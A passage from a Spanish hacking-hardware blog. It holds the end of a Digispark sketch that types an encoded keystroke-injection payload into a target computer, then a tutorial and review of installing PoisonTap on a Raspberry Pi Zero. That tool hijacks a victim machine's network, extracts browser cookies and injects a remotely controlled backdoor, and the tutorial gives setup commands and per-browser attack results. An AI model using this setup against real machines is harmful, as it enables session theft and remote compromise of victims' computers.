0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x4, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x5, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x6, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x7, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x8, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0x9, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0xa, 0x2, 0x28, 0x0, 0x28, 0x0
};
int i = 4; //how many times the payload should run (-1 for endless loop)
bool blink=true;

void setup()
{
	// initialize the digital pin as an output.
	pinMode(0, OUTPUT); //LED on Model B
	pinMode(1, OUTPUT); //LED on Model A
	DigiKeyboard.delay(2500); //wait 2500 milliseconds before first run, to give target time to initialize
}

void loop()
{

	//should code be runned in this loop?
	if (i != 0) {
		DigiKeyboard.sendKeyStroke(0);

		//parse raw duckencoder script
		for (int i=0; i<DUCK_LEN; i+=2)
		{
			uint8_t key = pgm_read_word_near(duckraw + i);
			uint8_t mod = pgm_read_word_near(duckraw + i+1);
			if (key == 0) //delay (a delay>255 is split into a sequence of delays)
			{
				DigiKeyboard.delay(mod);
			}
			else DigiKeyboard.sendKeyStroke(key,mod);
		}
		i--;
		DigiKeyboard.delay(3000); //wait 3000 milliseconds before next loop iteration

	}
	else if (blink)
	{
		digitalWrite(0, HIGH);   // turn the LED on (HIGH is the voltage level)
		digitalWrite(1, HIGH);
		delay(100);               // wait for a second
		digitalWrite(0, LOW);    // turn the LED off by making the voltage LOW
		digitalWrite(1, LOW);
		delay(100);               // wait for a second
	}
}

Otra cosa que añade duck2spark es que al terminar de ejecutar el payload el led del ATtiny85 se encenderá y apagará, parecerá una tontería pero yo lo veo útil.

Ahora solo queda seguir trasteando y probando diferentes payloads 🙂

Espero os haya gustado este nuevo post y si consigo solucionar un problema que tengo con unas tarjetas mifare classic el siguiente post de hardware para hacking será un clonador de las mismas 😉

Como siempre, cualquier duda u opinión no dudéis en dejar un comentario más abajo.

Saludos, y gracias por vuestra visita!

Publicado en DIY, tools, tutorial | 6 comentarios

PoisonTap: Instalación y pequeña review

Bueno, parece que toca seguir con los posts sobre hardware para hacking, no os podréis quejar.

Después de un largo tiempo buscandola y luego de pagarla a “buen” precio, por fin tengo en mis manos una Raspberry Pi Zero, sí, esa que supuestamente cuesta 5 dolares pero que antes encuentras el santo grial que este modelo por ese precio. Concretamente me hice con el nuevo modelo W, que ya trae integrado el wireless y el bluetooth, acompañada de un pequeño kit con varios conectores básicos como USB OTG, adaptador de mini-HDMI, etc

Una de las cosas que hacen especial a este modelo de Raspberry es la capacidad que tiene su puerto OTG de hacerse pasar por distintos dispositivos de hardware (o gadgets como le suelen llamar) entre los que se encuentran tarjeta de red, puerto serie, almacenamiento masivo o dispositivos HID, además de varios otros.

En el caso de PoisonTap (PT a partir de ahora) lo que hacemos es que el pc victima reconozca a la Zero como una tarjeta de red y todo el tráfico sea redireccionado hacia ella de tal manera que se pueden extraer cookies en plano e inyectar un backdoor, pero más sobre esto a continuación.

En este tutorial utilizaremos un pequeño “fork” de PT creado por el usuario wismna de GitHub, y digo “fork” porque realmente la parte de PT apenas ha sido modificada. Además de añadir Responder como nuevo vector de ataque, el señor wismna se ha currado un pequeño OS fingerprinting para que nuestra Zero actúe de forma distinta según el OS al que la enchufemos. ¿Por que es esto importante? Pues porque en el caso de las últimas versiones de Windows 10 este ya no reconoce nuestra Zero como una tarjeta de red sino simplemente como un puerto serie. Gracias a los parches de wismna esto se ha solucionado y ahora funciona tanto en los últimos Windows como en Linux (no he probado OSX, no me da el presupuesto).

Pero, ¿Que hace PT? PT realiza varios ataques en cascada.

  1. Se adueña de la red del equipo. PT se configura como una interfaz de red y responde a las peticiones DHCP de tal manera que hace creer que todo el rango de IPV4 es parte de dicha red, haciendo así que todo el tráfico fluya por ella.
  2. Extracción de cookies. Siempre que haya un navegador, bien abierto bien en segundo plano, que realice una llamada HTTP; PT la intercepatará y responderá de tal manera que pueda ser interpretada como HTML o JavaScript, al ejecutarse dicha respuesta en el navegador esta creara numerosos iframes al top de sitios de Alexa y extraerá las cookies que tengamos almacenadas de los mismos.
  3. Backdoors. PT inyectará un backdoor que se activará cuando la Zero desconectada permitiendo que está sea cargada en un iframe de la victima y ejecutar comandos de forma remota. Esto solo es posible si ejecutamos el servidor de backend.

PT también realiza DNS recapping para poder acceder al router de la victima pero esta parte no la he podido probar demasiado debido a que no se ha liberado el código del servidor DNS necesario para esta parte.

Para una descripción mucho más detallada (en inglés) de como funciona PT os recomiendo os leáis la información de la misma en GitHub: https://github.com/samyk/poisontap

Lo más interesante de PT es que es capaz de realizar dichos ataques aunque el pc victima esté bloqueado.

INSTALACIÓN:

Raspberry Pi:

Para empezar necesitaréis instalar la última versión de Raspbian en vuestra Zero y darle salida a internet para poder instalar las dependencias y los repositorios que necesitaremos. Creo que esto está suficientemente documentado ya como para que lo tenga que repetir aquí así que simplemente os daré un consejo, si tenéis una W, configurad el wifi y dejaros de cable, mucho más comodo (vale si, no conseguí que el maldito avahi me dejara conectar a través de raspberrypi.local solo por IPV6 pero eso es otra historia).

Lanzaremos los siguientes comandos para actualizar nuestra Zero e instalar git:

sudo apt-get update
sudo apt-get -y upgrade
sudo apt-get -y dist-upgrade
sudo apt-get -y install git

Una vez finalice esto clonaremos el repositorio en el home, el script asume que se esta usando el home del usuario pi, tened esto en cuenta en caso de que tengáis problemas:

git clone https://github.com/wismna/HackPi

Entramos en la nueva carpeta HackPi y lanzamos el script install.sh sin sudo. En caso de que no tenga permisos de ejecución lo podéis solucionar fácilmente con el siguiente comando:

chmod +x install.sh

El script nos hará varias preguntas durante su ejecución:

  1. ¿Queremos hacer un backup de las configuraciones? Nunca está de más, lo dejo a vuestra elección.
  2. ¿Queremos parchear los módulos? Si contestamos que no el script finalizará sin terminar la instalación.
  3. ¿Configurar el backdoor? Esto solo es importante si vamos a utilizar el servidor de backend para el backdoor, si no lo vais a usar no es necesario. En caso de que sí os pedirá tambien el dominio/ip y puerto donde se estará ejecutando el backend.

¡OJO! En el último paso el script sobreescribe /etc/network/interfaces eliminando la interfaz wireless. Debéis añadirla de nuevo a ese archivo incluyendo este código:

allow-hotplug wlan0
iface wlan0 inet manual
    wpa-conf /etc/wpa_supplicant/wpa_supplicant.conf

El script no hace control de errores durante su ejecución pero es lo suficientemente verbose como para que sea fácil detectar un error durante su ejecución y solucionarlo antes de volverlo a ejecutar.

Backend (Opcional):

En caso de que queramos utilizar el servidor de backend simplemente ejecutamos los siguientes comandos en una máquina que sea accesible por el pc victima, sea en internet sea en nuestra red:

sudo apt-get update && apt-get upgrade
sudo apt-get install screen nodejs nodejs-legacy git npm
sudo npm install websocket
git clone https://github.com/samyk/poisontap
screen
sudo node backend_server.js

La parte de screen es totalmente opcional pero recomendable.

Por defecto el backend escucha en el puerto 1337 así que este debe ser accesible por la victima, en caso de que lo queráis cambiar al final del archivo backend_server.js escontrareis el comando server.listen(1337),  simplemente cambiarlo por el que hayáis configurado en la Zero.

Si todo ha salido bien ya deberíamos tener todo listo para hacer nuestras pruebas.

REVIEW:

Después de muchos quebraderos de cabeza hasta conseguir algo minimamente funcional (recordemos que esto es un POC no una herramienta lista para hacer el mal) aquí van unos pequeños puntos que creo son importantes tener en cuenta:

  • Mientras la PT este conectada el equipo victima no tiene acceso a internet. Todo el tráfico pasa a la Zero y la salida a internet no está configurada.
  • Si no tenéis una Zero W o esta no se conecta a la wifi podéis acceder a la misma desde el pc victima por ssh en la ip 1.0.0.1. Recordemos que es un POC.
  • En la versión de wismna la Zero se reconoce también como puerto serie. Esto puede ser de mucha utilidad ya que podemos conectarnos a la misma (solo en Linux y OSX, Windows no lo soporta por ahora) en el puerto /dev/ttyACM0 a 115200 baudios.

Ahora os muestro una pequeña lista sobre los navegadores y OS que he probado y que resultados he obtenido:

  • Linux:
    • Chrome/Chromium: Las cookies se extraen sin problemas y se puede apreciar el ataque al intentar entrar en una web http. Debido a problemas con la cache sin embargo la única manera en que conseguí que el backdoor se ejecutara fue desconectando la Zero antes de que el websocket hiciera timeout.
    • Firefox: Mucho más lento en ejecución que los anteriores. Todos los ataques funcionaron sin problemas y el backdoor quedo guardado en la cache. 100% funcional.
  • Windows:
    • Chrome: Mismos problemas que en Linux, con la salvedad de que al desconectar la Zero el websocket automáticamente aborta la conexión con lo cual el backdoor no funciona.
    • IE: Todos los ataques funcionaron sin problemas. 100% funcional.

Como véis aun tengo pendiente probarlo en otros OS y navegadores pero los resultados han sido un poco agridulces. Hay que entender que es un POC y no una herramienta 100% funcional.

Le veo mucho potencial en general y seguiré trabajando con ella. Os mantendré informados de lo que vaya consiguiendo.

Espero os haya gustado y, ya sabéis, cualquier duda o comentario no dudéis en dejar un comentario. Os ayudaré en todo lo que pueda y así otra gente podrá aprovecharse de la información.

Saludos, y como siempre, gracias por vuestra visita!

Reconocimiento al gran trabajo de samyk y de wismna que nos han dejado esta impresionante herramienta.

Publicado en DIY, raspberry, tools, tutorial | Deja un comentario